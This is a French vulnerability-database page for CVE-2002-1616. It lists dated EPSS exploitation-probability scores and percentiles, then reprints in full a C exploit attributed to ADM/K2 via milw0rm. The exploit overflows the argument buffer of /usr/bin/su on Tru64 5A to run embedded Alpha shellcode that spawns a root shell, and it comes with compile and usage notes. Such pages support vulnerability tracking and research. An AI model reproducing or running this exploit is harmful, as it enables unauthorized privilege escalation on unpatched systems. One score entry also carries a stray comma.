CVE-2002-1616 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.22%	–	–
2022-02-13	–	–	3.22%	–	–
2022-04-03	–	–	3.22%	–	–
2022-09-18	–	–	3.22%	–	–
2023-03-12	–	–	–	0.05%	–
2023-03-19	–	–	–	0.05%	–
2023-05-14	–	–	–	0.05%	–
2023-05-21	–	–	–	0.05%	–
2023-07-16	–	–	–	0.05%	–
2023-07-30	–	–	–	0.05%	–
2023-09-17	–	–	–	0.05%	–
2023-12-03	–	–	–	0.05%	–
2024-03-03	–	–	–	0.08%	–
2024-04-14	–	–	–	0.08%	–
2024-06-02	–	–	–	0.08%	–
2024-09-01	–	–	–	0.08%	–
2024-10-06	–	–	–	0.07%	–
2024-11-10	–	–	–	0.07%	–
2024-12-22	–	–	–	0.25%	–
2025-01-12	–	–	–	0.25%	–
2025-01-19	–	–	–	0.25%	–
2025-03-18	–	–	–	–	0.19%
2025-03-30	–	–	–	–	0.19%
2025-04-06	–	–	–	–	0.19%
2025-04-06	–	–	–	–	0.19,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	65%
2022-02-13	66%
2022-04-03	83%
2022-09-18	84%
2023-03-12	2%
2023-03-19	19%
2023-05-14	2%
2023-05-21	19%
2023-07-16	2%
2023-07-30	19%
2023-09-17	2%
2023-12-03	19%
2024-03-03	31%
2024-04-14	32%
2024-06-02	33%
2024-09-01	34%
2024-10-06	32%
2024-11-10	33%
2024-12-22	64%
2025-01-12	65%
2025-01-19	65%
2025-03-18	39%
2025-03-30	38%
2025-04-06	39%
2025-04-06	39%

/* Copyright (c) 2000 ADM */ /* All Rights Reserved */ /* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF ADM */ /* The copyright notice above does not evidence any */ /* actual or intended publication of such source code. */ /* */ /* Title: Tru64 5 su */ /* Tested under: Tru64 5A (OSF/1) */ /* By: K2 (thx horizon,lamont :) */ /* Use: cc -o tru64-su tru64-su.c */ /* Issues: Tru64 re-implmented non-exec patch, */ /* I'm working on non-exec alpha technique */ /* so it will only work if, */ /* do this -> "sysconfig -q proc executable_stack" */ /* and see if -> "executable_stack = 1" */ /* else? */ /* wait for new alpha non-exec stack exploit */ /* */ #include <unistd.h> #include <stdlib.h> #include <strings.h> #include <string.h> #include <stdio.h> #define BUFSIZE 8241 char *nop = "\x1f\x04\xff\x47"; char *retaddr = "\xe4\xc0\xff\x1f\x01\x00\x00\x00"; /* lamont's shellcode */ int rawcode[] = { 0x2230fec4, /* subq $16,0x13c,$17 [2000]*/ 0x47ff0412, /* clr $18 [2000]*/ 0x42509532, /* subq $18, 0x84 [2000]*/ 0x239fffff, /* xor $18, 0xffffffff, $18 */ 0x4b84169c, 0x465c0812, 0xb2510134, /* stl $18, 0x134($17)[2000]*/ 0x265cff98, /* lda $18, 0xff978cd0[2000]*/ 0x22528cd1, 0x465c0812, /* xor $18, 0xffffffff, $18 */ 0xb2510140, /* stl $18, 0x140($17)[2000]*/ 0xb6110148, /* stq $16,0x148($17) [2000]*/ 0xb7f10150, /* stq $31,0x150($17) [2000]*/ 0x22310148, /* addq $17,0x148,$17 [2000]*/ 0x225f013a, /* ldil $18,0x13a [2000]*/ 0x425ff520, /* subq $18,0xff,$0 [2000]*/ 0x47ff0412, /* clr $18 [2000]*/ 0xffffffff, /* call_pal 0x83 [2000]*/ 0xd21fffed, /* bsr $16,$l1 ENTRY */ 0x6e69622f, /* .ascii "/bin" [2000]*/ /* .ascii "/sh\0" is generated */ }; int main(int argc, char **argv) { char buf[BUFSIZE+4]; char *env[2]; char *cp,*rc; int i; if(argc > 1) retaddr[0]+=atoi(argv[1]); memset(&buf,'A',BUFSIZE-8); cp=(char *) &(buf[BUFSIZE-8]); for (i=0;i<8;i++) *cp++=retaddr[i]; rc=(char *)rawcode; cp=buf; for(i=0;i<8;i++) *cp++ = 0x6e; for(i=0;i<72;i++) *cp++ = rc[i]; for(i=0;i<320;i++) *cp++ = nop[i % 4]; *cp++=rc[72]-80; for(i=1;i<8;i++) *cp++ = rc[i+72]; env[1]=NULL; execle("/usr/bin/su","su",buf, NULL,env); return(0); } // milw0rm.com [2001-01-26]